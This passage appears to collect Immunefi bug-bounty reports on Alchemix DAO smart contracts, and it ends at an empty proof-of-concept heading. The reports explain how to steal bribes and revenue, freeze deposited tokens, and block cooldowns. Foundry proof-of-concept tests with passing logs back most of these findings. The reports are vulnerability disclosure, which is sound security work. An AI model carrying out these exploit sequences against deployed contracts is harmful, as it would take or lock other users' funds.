            IBribe(_bribes[i]).getRewardForOwner(_tokenId, _tokens[i]); // <==== Audit
        }
    }

    function distribute() external {
        uint256 start = 0;
        uint256 finish = pools.length;

        for (uint256 x = start; x < finish; x++) {
            // We don't revert if gauge is not alive since pools.length is not reduced
            if (isAlive[gauges[pools[x]]]) {
                _distribute(gauges[pools[x]]); // <==== Audit
            }
        }

        IMinter(minter).updatePeriod();
    }

    function _distribute(address _gauge) internal {
        // Distribute once after epoch has ended
        require(
            block.timestamp >= IMinter(minter).activePeriod() + IMinter(minter).DURATION(),
            "can only distribute after period end"
        );

        uint256 _claimable = claimable[_gauge];

        // Reset claimable amount
        claimable[_gauge] = 0;

        _updateFor(_gauge);

        if (_claimable > 0) {
            IBaseGauge(_gauge).notifyRewardAmount(_claimable);
        }

        IBribe(bribes[_gauge]).resetVoting(); // <==== Audit

        emit DistributeReward(msg.sender, _gauge, _claimable);
    }
	// ...
}
```

```solidity
// ...
contract Bribe is IBribe {
	// ...
	function getRewardForOwner(uint256 tokenId, address[] memory tokens) external lock {
        require(msg.sender == voter, "not voter");
        address _owner = IVotingEscrow(veALCX).ownerOf(tokenId);
        uint256 length = tokens.length;
        for (uint256 i = 0; i < length; i++) {
            uint256 _reward = earned(tokens[i], tokenId);

            require(_reward > 0, "no rewards to claim");

            lastEarn[tokens[i]][tokenId] = block.timestamp;

            _writeCheckpoint(tokenId, balanceOf[tokenId]); // <==== Audit

            IERC20(tokens[i]).safeTransfer(_owner, _reward);

            emit ClaimRewards(_owner, tokens[i], _reward);
        }
    }

	function resetVoting() external {
        require(msg.sender == voter);
        totalVoting = 0; // <==== Audit
    }
	// ...
}
```

`Voter@distribute` resets the total votes to 0 on the given `Gauge` corresponding `Bribe` and doesn't trigger a voting checkpoint. It also doesn't change the individual user balances and total supply causing `Bribe` and `Voter` to be out of sync until all previous voter vote again.

Additionally, `Voter@claimBribes` triggers a checkpoint for the given token id.

Combined, they allow for situation where a user :

* Votes in Epoch N
* In Epoch N + 1 :
  * Does not vote.
  * Calls `Voter@claimBribes` to claim any bribes from Epoch N, triggering a checkpoint and activating rewards for this epoch (.i.e Epoch N + 1, claimable in Epoch N + 2).
  * Calls `Voter@distribute` to reset total votes. Rewards will now be calculated based on new voters, but still distributed to everyone with a checkpoint.
* User can keep claiming a share of bribes in future epochs at the expense of other voters.

## Impact Details

The impact of this issue will vary based on the participating voters voting power and the pool allocations and can span from rewards being fully stolen to partially stolen and preventing all / some users from claiming theirs because of a lack of funds to cover their shares.

## References

* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L332-L380>
* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol>

## Proof of Concept

```solidity
    function testStealBribes() public {
        uint256 tokenId1 = createVeAlcx(admin, 2 * TOKEN_1, MAXTIME, false);

        Bribe sushiGaugeBribe = Bribe(voter.bribes(address(sushiGauge)));
        address sushiGaugeBribeToken = sushiGaugeBribe.rewards(0);

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 1;

        // Notify rewards to sushi bribe
        createThirdPartyBribe(address(sushiGaugeBribe), sushiGaugeBribeToken, TOKEN_1);

        skip(1 days);
        // Vote for tokendId1
        hevm.prank(admin);
        voter.vote(tokenId1, pools, weights, 0);

        // Go to next epoch
        hevm.warp(newEpoch());

        address[] memory bribes = new address[](1);
        bribes[0] = address(sushiGaugeBribe);
        address[][] memory tokens = new address[][](1);
        tokens[0] = new address[](1);
        tokens[0][0] = sushiGaugeBribeToken;

        // admin claims Bribe rewards from previous epoch.
        // This calls Bribe@getRewardForOwner setting lastEarn time for the given token and triggering a new checkpoint for that token.
        // admin gets all the rewards as he is the only who voted in the previous epoch.
        hevm.prank(admin);
        voter.claimBribes(bribes, tokens, tokenId1);

        skip(1 days);
        // Distribute gauge rewards
        // This calls Bribe@resetVoting which set totalVoting to 0 in that Bribe without triggering a voting checkpoint.
        voter.distribute();

        skip(1 days);
        // Notify rewards to sushi bribe again
        createThirdPartyBribe(address(sushiGaugeBribe), sushiGaugeBribeToken, TOKEN_1);

        // Two other users now vote in this epoch.
        // This call Bribe@deposit (amongst other calls) and triggers new token, voting and supply checkpoints.
        // If no other users vote here, admin will just get the full bribe rewards.
        uint256 tokenId2 = createVeAlcx(beef, TOKEN_1, MAXTIME, false);
        uint256 tokenId3 = createVeAlcx(dead, TOKEN_1, MAXTIME, false);

        hevm.prank(beef);
        voter.vote(tokenId2, pools, weights, 0); 

        hevm.prank(dead);
        voter.vote(tokenId3, pools, weights, 0); 

        // Go to next epoch
        hevm.warp(newEpoch());

        // All 3 users can claim rewards.
        // However, rewards are not distributed equaly as it would be the case if all of them voted. 
        // totalVoted only accounts for two voters, so rewards will only be split in two.
        // If X is the amount of reward :
        console2.log(sushiGaugeBribe.earned(sushiGaugeBribeToken, tokenId1)); // Can get aproximately X because admin has double the veALCX voting power in this case
        console2.log(sushiGaugeBribe.earned(sushiGaugeBribeToken, tokenId2)); // Can get X / 2
        console2.log(sushiGaugeBribe.earned(sushiGaugeBribeToken, tokenId3)); // Can get X / 2

        hevm.prank(admin);
        voter.claimBribes(bribes, tokens, tokenId1);

        // This will fail as there are not enough rewards left in this case
        hevm.prank(beef);
        vm.expectRevert();
        voter.claimBribes(bribes, tokens, tokenId2);

        hevm.prank(dead);
        vm.expectRevert();
        voter.claimBribes(bribes, tokens, tokenId3);
    }
```

## Results

```console
Ran 1 test for src/test/Voting.t.sol:VotingTest
[PASS] testStealBribes() (gas: 6893490)
Logs:
  994217758672975468
  500000000000000000
  500000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 88.42s (70.90s CPU time)

Ran 1 test suite in 90.33s (88.42s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


# 31076 - \[SC - Critical] checkpointTotalSupply can checkpoint before a t...

Submitted on May 12th 2024 at 10:57:42 UTC by @Holterhus for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31076

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol>

Impacts:

* Permanent freezing of funds

## Description

## Brief/Intro

The `checkpointTotalSupply()` function is in the `RewardsDistributor` and is callable by anyone. The function has an incorrect comparison of `>` instead of `>=`, and this can lead to a checkpoint being recorded when a timestamp is not yet complete. This leads to mistakes in the internal accounting. In the worst case, a user can never successfully `claim()` again, which permanently freezes their `BPT` tokens that have been deposited into `veALCX`.

## Vulnerability Details

The implementation of `_checkpointTotalSupply()` is as follows:

```solidity
function _checkpointTotalSupply() internal {
    address ve = votingEscrow;
    uint256 t = timeCursor;
    uint256 roundedTimestamp = (block.timestamp / WEEK) * WEEK;
    IVotingEscrow(ve).checkpoint();

    for (uint256 i = 0; i < 20; i++) {
        if (t > roundedTimestamp) {
            break;
        } else {
            veSupply[t] = IVotingEscrow(ve).totalSupplyAtT(t);
        }
        t += WEEK;
    }
    timeCursor = t;
}
```

Notice that whenever `veSupply[t]` is assigned to a value, the `t += WEEK` increment happens immediately after, which permanently progresses the cursor so that `veSupply[t]` will never be assigned to again. Also, notice that the `veSupply[t]` assignment is only skipped if `t > roundedTimestamp`. This is incorrect. It should also be skipped if `t == roundedTimestamp`, otherwise this code can record the `totalSupplyAtT()` value before the timestamp itself is complete. This means the check should actually be: `if (t >= roundedTimestamp)`.

## Impact Details

In the scenario when `t == roundedTimestamp`, the code will incorrectly cache the `totalSupplyAtT()` of the current timestamp early. Any actions taken in `veALCX` after this (but on the same timestamp) will not be reflected in the `veSupply[]` value. On the other hand, the `_claimable()` function will correctly account for these last-second actions in each individual `tokenId`. As a result, it is possible for the `balanceOf` value below to contain deposits that did not contribute to the `veSupply[weekCursor]` value:

```solidity
if (balanceOf != 0) {
    toDistribute += (balanceOf * tokensPerWeek[weekCursor]) / veSupply[weekCursor]
}
```

In the worst-case scenario, the first user of `VotingEscrow` can end up in a situation where `veSupply[weekCursor] == 0` and `balanceOf > 0`. In this case, the `claim()` function will revert due to a division by zero, and it will permanently fail to progress past the broken week.

Since the `withdraw()` function in the `veALCX` contract has the following code:

```soldidity
IRewardsDistributor(distributor).claim(_tokenId, false);
```

it will always revert on this line, and users will be in a state where they are permanently unable to withdraw their `BPT` tokens. See the PoC for an example.

## References

See the PoC below.

## Proof of Concept

I have created the following test file and added it to the `tests/` directory:

```solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract CheckpointBugTest is BaseTest {

    address victim = admin;

    constructor() {
        setupContracts(block.timestamp);
    }

    function testCheckpointTotalSupplyBugFreezing() public {

        uint256 ts = ((block.timestamp + 1 weeks) / 1 weeks) * 1 weeks;
        hevm.warp(ts);

        // If a victim is about to deposit, frontrunning and checkpointing them 
        // will store `veSupply[ts] == 0`. This is especially a risk if block builders
        // aren't currently accepting the victim tx's priority fee, so there's a large window
        // of time where the user's tx is in the mempool but not on-chain. This may also just
        // happen by accident.
        distributor.checkpointTotalSupply();
        uint256 tokenId = createVeAlcx(victim, TOKEN_100K, MAXTIME, false);

        console.log("The following state implies that `claim()` will permanently divide by 0:");
        console.log("ts", ts);
        console.log("distributor.timeCursor()", distributor.timeCursor());
        console.log("distributor.veSupply(ts)", distributor.veSupply(ts));
        console.log("veALCX.totalSupplyAtT(ts)", veALCX.totalSupplyAtT(ts));

        hevm.warp(newEpoch());
        voter.distribute();

        vm.expectRevert();
        distributor.claimable(tokenId);

        hevm.warp(veALCX.lockEnd(tokenId));

        vm.startPrank(victim);
        
        veALCX.startCooldown(tokenId);

        hevm.warp(block.timestamp + 1 weeks);

        // Now their BPT is permanently stuck since all calls to `claim()` will revert due to
        // a division by 0. It shouldn't have allowed `veSupply[ts] == 0` to be checkpointed
        // because the timestamp wasn't over yet.
        vm.expectRevert();
        veALCX.withdraw(tokenId);

        vm.stopPrank();
    }
}
```

Running the command `forge test -vvv --match-test testCheckpointTotalSupplyBugFreezing --rpc-url $ETH_RPC_URL` gives the following result:

```
[PASS] testCheckpointTotalSupplyBugFreezing() (gas: 25610541)
Logs:
  The following state implies that `claim()` will permanently divide by 0:
  ts 1715817600
  distributor.timeCursor() 1716422400
  distributor.veSupply(ts) 0
  veALCX.totalSupplyAtT(ts) 199452054794520538483200

```

which shows that the user's attempt to call `withdraw()` indeed reverts and their deposited `BPT` tokens are permanently frozen.


# 31077 - \[SC - Critical] RevenueHandler counts unclaimed tokens as new r...

Submitted on May 12th 2024 at 11:02:22 UTC by @Holterhus for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31077

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol>

Impacts:

* Theft of unclaimed yield

## Description

## Brief/Intro

The `RevenueHandler` contract has a `checkpoint()` function that records revenue amounts for each token in each epoch. There is a mistake in the logic of non-alchemic tokens, because it assumes the entire token balance is new revenue for the epoch. This is wrong because the token balance includes pending revenue from previous epochs that have not yet been claimed. This allows users to claim more tokens than they should, which steals tokens from other users who try to claim later.

## Vulnerability Details

The `checkpoint()` function in `RevenueHandler` contains the following code snippet:

```solidity
uint256 thisBalance = IERC20(token).balanceOf(address(this));

// If poolAdapter is set, the revenue token is an alchemic-token
if (tokenConfig.poolAdapter != address(0)) {
    // Treasury only receives revenue if the token is an alchemic-token
    treasuryAmt = (thisBalance * treasuryPct) / BPS;
    IERC20(token).safeTransfer(treasury, treasuryAmt);

    // Only melt if there is an alchemic-token to melt to
    amountReceived = _melt(token);

    // Update amount of alchemic-token revenue received for this epoch
    epochRevenues[currentEpoch][tokenConfig.debtToken] += amountReceived;
} else {
    // If the revenue token doesn't have a poolAdapter, it is not an alchemic-token
    amountReceived = thisBalance;

    // Update amount of non-alchemic-token revenue received for this epoch
    epochRevenues[currentEpoch][token] += amountReceived;
}
```

Notice that in the `else` case, the `epochRevenues[currentEpoch][token]` amount is incremented by the current token balance. As mentioned above, this is incorrect because the token balance also contains unclaimed revenue from previous epochs. Due to this mistake, the revenues past the first epoch will be inflated, which leads to an inflated `totalClaimable` value in the `_claimable()` function:

```solidity
uint256 epochTotalVeSupply = IVotingEscrow(veALCX).totalSupplyAtT(epochTimestamp);
if (epochTotalVeSupply == 0) continue;
uint256 epochRevenue = epochRevenues[epochTimestamp][token];
uint256 epochUserVeBalance = IVotingEscrow(veALCX).balanceOfTokenAt(tokenId, epochTimestamp);
totalClaimable += (epochRevenue * epochUserVeBalance) / epochTotalVeSupply;
```

## Impact Details

Once an epoch has an inflated revenue, a malicious user can call `claim()` to take a large amount of tokens they do not deserve. This is a theft of other users' unclaimed yield. Since the malicious user would receive the tokens, no tokens would be left in the `RevenueHandler` for the other users to claim. See the PoC for an example.

## References

See the PoC below.

## Proof of Concept

I have created the following test case that can be added to `RevenueHandler.t.sol`:

```solidity
function testNonAlchemicRevenueAccountingBug() external {
    uint256 revAmt = 1000e18;
    uint256 tokenId1 = _initializeVeALCXPosition(10e18);
    uint256 tokenId2 = _setupClaimableNonAlchemicRevenue(revAmt, bal);

    _jumpOneEpoch();
    revenueHandler.checkpoint();

    console.log("claimable 1 before:", revenueHandler.claimable(tokenId1, bal));
    console.log("claimable 2 before:", revenueHandler.claimable(tokenId2, bal));
    console.log("revenueBalance before:", IERC20(bal).balanceOf(address(revenueHandler)));

    revenueHandler.claim(tokenId1, bal, address(0), revenueHandler.claimable(tokenId1, bal), address(this));

    console.log("claimable 1 after:", revenueHandler.claimable(tokenId1, bal));
    console.log("claimable 2 after:", revenueHandler.claimable(tokenId2, bal));
    console.log("revenueBalance after:", IERC20(bal).balanceOf(address(revenueHandler)));

    uint256 claimable2 = revenueHandler.claimable(tokenId2, bal);
    vm.expectRevert("Not enough revenue to claim");
    revenueHandler.claim(tokenId2, bal, address(0),claimable2, address(this));
}
```

Running the command `forge test -vvv --match-test testNonAlchemicRevenueAccountingBug --rpc-url $ETH_RPC_URL` gives the following result:

```
[PASS] testNonAlchemicRevenueAccountingBug() (gas: 2569923)
Logs:
  claimable 1 before: 1000000000000000000000
  claimable 2 before: 1000000000000000000000
  revenueBalance before: 1000000000000000000000
  claimable 1 after: 0
  claimable 2 after: 1000000000000000000000
  revenueBalance after: 0
```

This shows that the first user can claim 100% of the tokens, preventing the second user from claiming anything.


# 31078 - \[SC - High] withdraw doesnt claim all rewards before burnin...

Submitted on May 12th 2024 at 11:07:38 UTC by @Holterhus for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31078

Report type: Smart Contract

Report severity: High

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Permanent freezing of unclaimed yield

## Description

## Brief/Intro

The `claim()` function in the `RewardsDistributor` does not always claim all of the pending rewards for a given `tokenId`. This is because the `_claimable()` function has a finite `for` loop that does 50 iterations. However, the `withdraw()` function in `veALCX` only calls `claim()` once before permanently burning the token. This can lead to a permanent freezing of unclaimed yield if the 50 iterations are not sufficient.

## Vulnerability Details

The `_claimable()` function in the `RewardsDistributor` has the following main loop:

```solidity
for (uint256 i = 0; i < 50; i++) {
    if (weekCursor >= _lastTokenTime) break;

    if (weekCursor >= userPoint.ts && userEpoch <= maxUserEpoch) {
        userEpoch += 1;
        oldUserPoint = userPoint;
        if (userEpoch > maxUserEpoch) {
            userPoint = IVotingEscrow.Point(0, 0, 0, 0);
        } else {
            userPoint = IVotingEscrow(_ve).getUserPointHistory(_tokenId, userEpoch);
        }
    } else {
        int256 dt = int256(weekCursor - oldUserPoint.ts);
        int256 calc = oldUserPoint.bias - dt * oldUserPoint.slope > int256(0)
            ? oldUserPoint.bias - dt * oldUserPoint.slope
            : int256(0);
        uint256 balanceOf = uint256(calc);
        if (balanceOf == 0 && userEpoch > maxUserEpoch) break;
        if (balanceOf != 0) {
            toDistribute += (balanceOf * tokensPerWeek[weekCursor]) / veSupply[weekCursor];
        }
        weekCursor += WEEK;
    }
}
```

Notice that this loop only does a maximum of 50 iterations. This is fine on its own, because calling `claim()` multiple times will progress the rewards claiming in multiples of 50 iterations.

However, consider the following code in the `withdraw()` function of the `veALCX` contract:

```solidity
// Claim any unclaimed ALCX rewards and FLUX
IRewardsDistributor(distributor).claim(_tokenId, false);
IFluxToken(FLUX).claimFlux(_tokenId, IFluxToken(FLUX).getUnclaimedFlux(_tokenId));

// Burn the token
_burn(_tokenId, value);
```

Since this only calls `claim()` once, this will only do 50 iterations within the `_claimable()` calculation, which can be insufficient for claiming all of the user's unclaimed `ALCX` rewards.

## Impact Details

Yield is permanently frozen whenever a user calls `withdraw()` on a `tokenId` that needs more than 50 iterations to claim remaining rewards. This can happen if the `tokenId` has been deposited and left alone for a long time (perhaps with `maxLockEnabled == true`). It can also happen if the user has checkpointed many times before (notice that `weekCursor += WEEK` only happens in the `else` case of the main loop, so `claim()` may not even progress a single week).

## References

See the PoC below.

## Proof of Concept

I have created the following test file and added it to the `tests/` directory:

```solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract NotFullClaimBugTest is BaseTest {

    constructor() {
        setupContracts(block.timestamp);
    }

    function testNotFullClaimBug() public {

        vm.startPrank(admin);

        uint256 tokenId1 = createVeAlcx(admin, TOKEN_100K, MAXTIME, true);
        uint256 tokenId2 = createVeAlcx(admin, TOKEN_100K, MAXTIME, true);

        for (uint256 i; i < 100; ++i) {
            vm.warp(newEpoch());
            voter.distribute();
        }

        veALCX.updateUnlockTime(tokenId1, 365 days, false);
        veALCX.updateUnlockTime(tokenId2, 365 days, false);

        for (uint256 i; i < 30; ++i) {
            vm.warp(newEpoch());
            voter.distribute();
        }

        veALCX.startCooldown(tokenId1);
        veALCX.startCooldown(tokenId2);

        vm.warp(block.timestamp + 1 weeks);

        address rewardsToken = distributor.rewardsToken();
        uint256 balBefore;
        uint256 balAfter;


        console.log("claimable 1:", distributor.claimable(tokenId1));
        console.log("claimable 2:", distributor.claimable(tokenId2));

        /*************************************************************
            Amount from withdraw()
        *************************************************************/

        balBefore = IERC20(rewardsToken).balanceOf(admin);
        veALCX.withdraw(tokenId1);
        balAfter = IERC20(rewardsToken).balanceOf(admin);
        console.log("claimed from withdraw():", balAfter - balBefore);

        /*************************************************************
            Amount from claim()
        *************************************************************/

        balBefore = IERC20(rewardsToken).balanceOf(admin);
        for (uint256 i; i < 20; ++i) distributor.claim(tokenId2, false);
        balAfter = IERC20(rewardsToken).balanceOf(admin);
        console.log("claimed from claim():", balAfter - balBefore);

        vm.stopPrank();
    }

}
```

Running the command `forge test -vvv --match-test testNotFullClaimBug --rpc-url $ETH_RPC_URL` gives the following result:

```
[PASS] testNotFullClaimBug() (gas: 109527243)
Logs:
  claimable 1: 85548935342535580780653
  claimable 2: 85548935342535580780653
  claimed from withdraw(): 85548935342535580780653
  claimed from claim(): 113317958706345737195718
```

which shows that calling `withdraw()` will permanently freeze unclaimed yield.


# 31079 - \[SC - Critical] Claiming bribes for epochs you didnt vote for l...

Submitted on May 12th 2024 at 11:10:23 UTC by @infosec\_us\_team for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31079

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol>

Impacts:

* Protocol insolvency

## Description

> This is a text-dense report we apologize in advance.

## Summary

This report demonstrates how a user can claim rewards for an epoch he didn't vote for, causing solvency issues as the users who voted cannot receive their share of bribes.

A coded proof of concept can be found in the POC section.

## Detailed Description

To understand the root issue, let's start by breaking down with bullet points an example:

* "**Alice**" votes in epoch `1`.
* "**Bob**" votes in epoch `1`.

***

* The second epoch (`2`) starts.

***

* "**Alice**" claims bribes from epoch `1`.
* "**Bob**" votes in epoch `2`.
* "**Bob**" claims bribes from epoch `1`.

***

* A third epoch (`3`) starts.

***

* **Alice claims bribes from epoch `2`.** (This shouldn't happen)
* "**Bob**" votes in epoch `2`.
* "**Bob**" attempts to claim bribes from epoch `2` but fails with "*ERC20: transfer amount exceeds balance*" because Alice stole rewards from epoch `2` and the Bribe became insolvent.

### Why is this happening?

When claiming Bribe rewards the code does the following:

* Reads the balance of "Alice" in the previously recorded checkpoint.
* It doesn't check if "Alice" voted in that epoch.
* Sends rewards to "Alice".
* Creates a new checkpoint and stores "Alice" 's balance.

```
function getRewardForOwner(uint256 tokenId, address[] memory tokens) external lock {
    ...
    _writeCheckpoint(tokenId, balanceOf[tokenId]);
    ...
}
```

Then it all repeats in the next epoch.

Whether it is a `veACLX` position with "**maxLock**" enabled (*where voting power never decays*) or a position that expires within a couple of epochs, everyone can claim rewards for epochs they haven't voted for as long as they have at least 1 checkpoint.

This leads to solvency issues as the users who voted cannot receive their share of bribes.

### How to solve this?

The best solution is to keep track inside the `Bribe` smart contract of every epoch that a `veACLX` lock votes for, fortunately, this is easy to implement.

A new mapping must be added to the `Bribe` smart contract like this:

```
mapping(uint256 => mapping(uint256 => bool)) public votedEpochs;
```

We only update it when a user votes/pokes like this:

```
// Record that `tokenId` voted in `epoch`
votedEpochs[epoch][tokenId] = true;
```

Then *in the `getRewardForOwner(uint256 tokenId, address[] memory tokens)` function of the `Bribe` smart contract* before sending rewards to the user, we check if the tokenId voted in the epoch that we are giving him rewards for.

### Why couldn't the `testGetRewardForOwner()` test detect this bug?

This test was introduced on April 1 to detect if users can claim rewards in past epochs they didn't vote for causing solvency issues:

```
function testGetRewardForOwner() public {
    uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);

    address bribeAddress = voter.bribes(address(sushiGauge));

    // Add BAL bribes to sushiGauge
    createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

    address[] memory pools = new address[](1);
    pools[0] = sushiPoolAddress;
    uint256[] memory weights = new uint256[](1);
    weights[0] = 5000;

    address[] memory bribes = new address[](1);
    bribes[0] = address(bribeAddress);
    address[][] memory tokens = new address[][](1);
    tokens[0] = new address[](1);
    tokens[0][0] = bal;

    // in epoch i, user votes with balance x
    hevm.prank(admin);
    voter.vote(tokenId1, pools, weights, 0);

    // Start second epoch i+1
    hevm.warp(newEpoch());
    createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

    // Claim bribes from epoch i
    hevm.prank(admin);
    voter.claimBribes(bribes, tokens, tokenId1);

    hevm.warp(newEpoch());
    hevm.prank(admin);
    hevm.expectRevert(abi.encodePacked("no rewards to claim"));
    voter.claimBribes(bribes, tokens, tokenId1);
}
```

Log the **block.timestamp** using `console2.log(block.timestamp);` after every time the test "moves the time to the next epoch".

You will realize, that it always prints the same timestamp. Time is not moving forward at all, the test always **warp**s to the present.

**But why?**

Because the definition of `newEpoch()` is:

```

function newEpoch() public view returns (uint256) {
    return IMinter(minter).activePeriod() + IMinter(minter).DURATION() + 1 seconds;
}
```

If we never update the active period of the `minter`, then "`newEpoch()`" will always return the same value.

To fix this test and actually move forward to the next timestamp, add `voter.distribute();` after the start of the second epoch like this:

```
// Start second epoch i+1
hevm.warp(newEpoch()); console2.log(block.timestamp);
voter.distribute(); // <----- inserted here
createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
```

The distribution mechanism updates the minter's active period.

Try to rerun the test. It will fail indicating that rewards can be claimed for epochs that a user has not voted for.

## Impact Details

Solvency issues as the users that voted cannot receive their share of bribes.

## Proof of Concept

This test reproduces the example given about "Bob" and "Alice", proving the solvency issues and how "Bob" can't receive his share of bribes.

```
    function testSolvencyIssue() public {

        // Create token1
        uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
        // Create token2
        uint256 tokenId2 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);

        address bribeAddress = voter.bribes(address(sushiGauge));
        createThirdPartyBribe(bribeAddress, bal, TOKEN_1);

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](1);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        // On epoch i, both tokenIds vote
        hevm.prank(admin);
        voter.vote(tokenId1, pools, weights, 0);
        hevm.prank(admin);
        voter.vote(tokenId2, pools, weights, 0);

        // Start epoch i+1
        hevm.warp(newEpoch());
        voter.distribute();
        createThirdPartyBribe(bribeAddress, bal, TOKEN_1);

        // Only tokenId2 votes in epoch i+1
        hevm.prank(admin);
        voter.vote(tokenId2, pools, weights, 0);

        // Both tokens claim bribes from epoch i
        hevm.prank(admin);
        voter.claimBribes(bribes, tokens, tokenId1);
        hevm.prank(admin);
        voter.claimBribes(bribes, tokens, tokenId2);

        // Start epoch i+2
        hevm.warp(newEpoch());
        voter.distribute();

        // Both tokens claim bribes from epoch i+1
        hevm.prank(admin);
        voter.claimBribes(bribes, tokens, tokenId1);
        // Claim for tokenId2 reverts with:
        // "ERC20: transfer amount exceeds balance"
        hevm.prank(admin);
        voter.claimBribes(bribes, tokens, tokenId2);

    }
```


# 31080 - \[SC - Insight] DoS in startCooldown when users want start cool...

Submitted on May 12th 2024 at 11:24:32 UTC by @Lastc0de for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31080

Report type: Smart Contract

Report severity: Insight

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Permanent freezing of unclaimed yield
* Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
* Temporary freezing of funds for 12 hours

## Description

## Brief/Intro

There will be a one-epoch `cooldown` period between unlocked tokens and being able to claim them to the user’s wallet. Locked tokens can become eligible for unlocks by burning Flux tokens. When the user wants to withdraw his/here locked tokens, he/she must start the `cooldDown` mechanism before withdrawing, otherwise he will not be able to withdraw.

Activating this process is possible in two ways:

* 1- lock period is expired
* 2- lock period is not expired

There is a vulnerability in model 2 that allows a malicious user to freeze the activation of this process for a short or long time for users who want to use the second method ( Denial-of-Service).

## Vulnerability Details

* Vulnerable contract is `VotingEscrow.sol`:

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

* Vulnerable function is `startCooldown()` : <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L778C1-L804C6>

```
    function startCooldown(uint256 _tokenId) external {
//...

        locked[_tokenId].cooldown = block.timestamp + WEEK;

        // If lock is not expired, cooldown can only be started by burning FLUX
        if (block.timestamp < _locked.end) {
            // Amount of FLUX required to ragequit
            uint256 fluxToRagequit = amountToRagequit(_tokenId); // @AUDIT-1

            require(IFluxToken(FLUX).balanceOf(msg.sender) >= fluxToRagequit, "insufficient FLUX balance"); // @AUDIT-2

            IFluxToken(FLUX).burnFrom(msg.sender, fluxToRagequit);

            emit Ragequit(msg.sender, _tokenId, block.timestamp);
        }

        emit CooldownStarted(msg.sender, _tokenId, _locked.cooldown);
    }
```

When a user want withdraw his/here locked amounts before do that should start coold down process. Above we can see the function that activates this process. When a user who wish to unlock their veALCX early, should burn Flux Tokens this means that should buy Flux Token of other users

## Deep dive

* AUDIT-1 For this, the `VotingEscrow.sol` first calculates Amount of FLUX required to `ragequit` by calling the `amountToRagequit()` function: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L345C1-L356C6>

```
    /// @inheritdoc IVotingEscrow
    function amountToRagequit(uint256 _tokenId) public view returns (uint256) {
        // amount of flux earned in one epoch
        uint256 oneEpochFlux = claimableFlux(_tokenId); // @AUDIT-1-A

//..
    }

```

* AUDIT-1-A In the first line of this function, the amount of flux earned in one epoch is obtained by calling the `claimableFlux` function: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L377C1-L385C6>

```
    function claimableFlux(uint256 _tokenId) public view returns (uint256) {
        // If the lock is expired, no flux is claimable at the current epoch
        if (block.timestamp > locked[_tokenId].end) {
            return 0;
        }

        // Amount of flux claimable is <fluxPerVeALCX> percent of the balance
        return (_balanceOfTokenAt(_tokenId, block.timestamp) * fluxPerVeALCX) / BPS; // @AUDIT-1-A-a
    }
```

* AUDIT-1-A-a This line calculate and return Amount of flux claimable is percent of the balance
* as you can see this function calculate returned value by percent of the balance so by deposit for a `tokenId` can manipulate this value.

We can do this by calling the `depositFor()` function: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L667C1-L678C1>

```
    function depositFor(uint256 _tokenId, uint256 _value) external nonreentrant {
//...
    }

```

## but what is the problem?

So we go to the beginning of the report to see `AUDIT-2`:

* AUDIT-2 : `require(IFluxToken(FLUX).balanceOf(msg.sender) >= fluxToRagequit, "insufficient FLUX balance");`

If the balance of the Flux Token for user is less than the calculated value meaning `fluxToRagequit`, the user cannot call this function for a while, so the user must increase the balance of Flux tokens in his wallet, and this is only possible by buying tokens from other users.

## Secnario

For example, Bob wants to withdraw his tokens before the lock time done.

1- Bob knows for do this should buy 5 Flux Token

2- Bob buyed 5 Flux Token

3- Alex knows Bob Want withdraw his locked tokens (Ex:front-running)

4- Alex before Bob make call depositFor() - for Bob tokenId with small amount

5- Bob cant start coold down because he does not have enough tokens for this

6- Bob should buy more Flux Token

7- A malicious user can do this for a long time and prevent the withdrawal of other users' tokens

## Impact Details

Attacker can Freeze this function for users so users for short -or long time cant withdraw his/here locked tokens

## References

<https://alchemixfi.medium.com/vealcx-update-272e8900ac5a>

## Proof of Concept

